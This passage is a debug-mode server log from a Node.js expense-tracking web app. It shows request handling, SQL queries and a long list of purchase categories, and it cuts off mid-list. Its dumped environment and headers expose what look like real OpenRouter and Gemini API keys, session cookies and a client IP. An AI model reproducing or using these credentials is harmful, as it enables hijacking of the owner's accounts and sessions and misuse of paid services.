  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-22T05:48:51.354Z server-connect:router Serving templateView /
2025-12-22T05:48:51.354Z server-connect:app Executing action step identify
2025-12-22T05:48:51.354Z server-connect:app options: { provider: 'security' }
2025-12-22T05:48:51.355Z server-connect:output identity: 1
2025-12-22T05:48:51.355Z server-connect:app Executing action step restrict
2025-12-22T05:48:51.355Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:48:51.355Z server-connect:output restrict: undefined
2025-12-22T05:48:51.355Z server-connect:app Executing action step restrict
2025-12-22T05:48:51.355Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:48:51.355Z server-connect:output restrict: undefined
2025-12-22T05:48:51.355Z server-connect:router Render template layouts/main
2025-12-22T05:48:51.356Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-22T05:48:53.490Z server-connect:router Serving templateView /
2025-12-22T05:48:53.490Z server-connect:app Executing action step identify
2025-12-22T05:48:53.490Z server-connect:app options: { provider: 'security' }
2025-12-22T05:48:53.490Z server-connect:output identity: 1
2025-12-22T05:48:53.490Z server-connect:app Executing action step restrict
2025-12-22T05:48:53.490Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:48:53.491Z server-connect:output restrict: undefined
2025-12-22T05:48:53.491Z server-connect:app Executing action step restrict
2025-12-22T05:48:53.491Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T05:48:53.491Z server-connect:output restrict: undefined
2025-12-22T05:48:53.491Z server-connect:router Render template layouts/main
2025-12-22T05:48:53.491Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T03:42:10.843Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A4EQ6kg0pjZbMMIeeMiKlvw%3D%3D.i7dYpm%2BV5s5u7jPwLdZgGqvfrrGGQz%2FcrX3EBRp1jCwIbDG9OrKIqgCKJJEeYWxFxmUeY%2BHoow1z48iBDZbQevi8p9zCU%2F12DOYRNvsopahwTRFg9euQ1%2FfUWQiXUgQk%2Bc2qcEe2TV39npYHeRKOJ85nFLAGBnY6EcL9MqKBhwA%3D.w5IiFny35pgWai%2FSIb89X%2B6BNfPbKyHc1V4QLedGWws; your_r_git.sid=s%3AlEBwdcRmk2INjiTvNojIo9YaDtXx_pgj.FK7mrBfKMiz0WjoL3It0w8%2FRGJFLM1IbN%2B2nb17GVCY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-22T05:48:56.411Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-22T05:48:56.412Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-22T05:48:56.412Z server-connect:app Executing action step identify
2025-12-22T05:48:56.412Z server-connect:app options: { provider: 'security' }
2025-12-22T05:48:56.412Z server-connect:output identity: 1
2025-12-22T05:48:56.412Z server-connect:app Executing action step restrict
2025-12-22T05:48:56.412Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:48:56.413Z server-connect:app Executing action step identify
2025-12-22T05:48:56.413Z server-connect:app options: { provider: 'security' }
2025-12-22T05:48:56.413Z server-connect:output identity: 1
2025-12-22T05:48:56.413Z server-connect:app Executing action step restrict
2025-12-22T05:48:56.413Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T05:48:56.413Z server-connect:output restrict: undefined
2025-12-22T05:48:56.413Z server-connect:app Executing action step select
2025-12-22T05:48:56.413Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-22T05:48:56.414Z server-connect:output restrict: undefined
2025-12-22T05:48:56.414Z server-connect:app Executing action step single
2025-12-22T05:48:56.415Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-22T05:48:56.416Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
